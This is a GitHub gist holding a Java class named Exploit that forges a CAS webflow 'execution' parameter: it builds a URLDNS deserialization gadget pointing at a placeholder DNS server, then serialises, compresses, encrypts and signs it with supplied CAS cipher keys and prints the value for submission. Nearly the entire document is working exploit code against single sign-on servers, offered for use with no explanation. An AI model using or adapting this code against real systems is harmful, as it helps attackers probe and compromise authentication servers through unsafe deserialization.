Skip to content

Instantly share code, notes, and snippets.

@devme4f
Created March 16, 2024 10:42
Show Gist options
  • Save devme4f/707bed738d82ae57212a0ddaf2ccfe86 to your computer and use it in GitHub Desktop.
Save devme4f/707bed738d82ae57212a0ddaf2ccfe86 to your computer and use it in GitHub Desktop.
package com.devme;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.cryptacular.bean.*;
import org.cryptacular.generator.sp80038a.RBGNonce;
import org.cryptacular.io.URLResource;
import org.cryptacular.spec.BufferedBlockCipherSpec;
import org.jasig.cas.util.AbstractCipherExecutor;
import org.jasig.cas.util.CipherExecutor;
import org.jasig.spring.webflow.plugin.Transcoder;
import javax.crypto.spec.SecretKeySpec;
import javax.naming.OperationNotSupportedException;
import java.io.*;
import java.net.*;
import java.lang.reflect.Field;
import java.security.Key;
import java.security.KeyStore;
import java.util.*;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class Exploit {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(String[] args) throws Exception {
String url = "http://hello.<DNS_SERVER>";
UUID uuid = UUID.randomUUID();
String encryptionSecretKey = "<1>";
String signingSecretKey = "<2>>";
CasWebflowCipherBean cwcb = new CasWebflowCipherBean(new BinaryCipherExecutor(encryptionSecretKey, signingSecretKey));
EncryptedTranscoder et = new EncryptedTranscoder();
et.setCipherBean(cwcb);
byte[] bytes = et.encode(getObject(url));
String base64 = Base64.getEncoder().encodeToString(bytes);
String out = "execution=" + uuid + "_" + URLEncoder.encode(base64);
System.out.println(out);
}
static class BinaryCipherExecutor extends AbstractCipherExecutor<byte[], byte[]> {
private static final String UTF8_ENCODING = "UTF-8";
private static final int SIGNING_KEY_SIZE = 512;
private static final int ENCRYPTION_KEY_SIZE = 16;
private String secretKeyAlgorithm = "AES";
private String encryptionSecretKey;
public BinaryCipherExecutor(String encryptionSecretKey, String signingSecretKey) {
this.verifyAndSetKeys(encryptionSecretKey, signingSecretKey);
}
private void verifyAndSetKeys(String encryptionSecretKey, String signingSecretKey) {
this.setSigningKey(signingSecretKey);
this.encryptionSecretKey = encryptionSecretKey;
}
public void setSecretKeyAlgorithm(String secretKeyAlgorithm) {
this.secretKeyAlgorithm = secretKeyAlgorithm;
}
public byte[] encode(byte[] value) {
try {
Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(), this.secretKeyAlgorithm);
CipherService cipher = new AesCipherService();
byte[] result = cipher.encrypt(value, key.getEncoded()).getBytes();
return this.sign(result);
} catch (Exception var5) {
this.logger.error(var5.getMessage(), var5);
throw new RuntimeException(var5);
}
}
public byte[] decode(byte[] value) {
try {
byte[] verifiedValue = this.verifySignature(value);
Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes("UTF-8"), this.secretKeyAlgorithm);
CipherService cipher = new AesCipherService();
byte[] result = cipher.decrypt(verifiedValue, key.getEncoded()).getBytes();
return result;
} catch (Exception var6) {
this.logger.error(var6.getMessage(), var6);
throw new RuntimeException(var6);
}
}
}
static class CasWebflowCipherBean implements CipherBean {
private final CipherExecutor<byte[], byte[]> webflowCipherExecutor;
public CasWebflowCipherBean(CipherExecutor cipherExecutor) {
this.webflowCipherExecutor = cipherExecutor;
}
public byte[] encrypt(byte[] bytes) {
return (byte[])this.webflowCipherExecutor.encode(bytes);
}
public void encrypt(InputStream inputStream, OutputStream outputStream) {
throw new RuntimeException(new OperationNotSupportedException("Encrypting input stream is not supported"));
}
public byte[] decrypt(byte[] bytes) {
return (byte[])this.webflowCipherExecutor.decode(bytes);
}
public void decrypt(InputStream inputStream, OutputStream outputStream) {
throw new RuntimeException(new OperationNotSupportedException("Decrypting input stream is not supported"));
}
}
public static class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
public EncryptedTranscoder(CipherBean cipherBean) throws IOException {
this.setCipherBean(cipherBean);
}
public void setCompression(boolean compression) {
this.compression = compression;
}
protected void setCipherBean(CipherBean cipherBean) {
this.cipherBean = cipherBean;
}
public byte[] encode(Object o) throws IOException {
if (o == null) {
return new byte[0];
} else {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
if (this.compression) {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
} else {
out = new ObjectOutputStream(outBuffer);
}
out.writeObject(o);
} finally {
if (out != null) {
out.close();
}
}
try {
return this.cipherBean.encrypt(outBuffer.toByteArray());
} catch (Exception var7) {
throw new IOException("Encryption error", var7);
}
}
}
public Object decode(byte[] encoded) throws IOException {
byte[] data;
try {
data = this.cipherBean.decrypt(encoded);
} catch (Exception var11) {
throw new IOException("Decryption error", var11);
}
ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
ObjectInputStream in = null;
Object var5;
try {
if (this.compression) {
in = new ObjectInputStream(new GZIPInputStream(inBuffer));
} else {
in = new ObjectInputStream(inBuffer);
}
var5 = in.readObject();
} catch (ClassNotFoundException var10) {
throw new IOException("Deserialization error", var10);
} finally {
if (in != null) {
in.close();
}
}
return var5;
}
protected KeyStore createAndPrepareKeyStore() {
KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean();
URL u = this.getClass().getResource("/etc/keystore.jceks");
ksFactory.setResource(new URLResource(u));
ksFactory.setType("JCEKS");
ksFactory.setPassword("changeit");
return ksFactory.newInstance();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment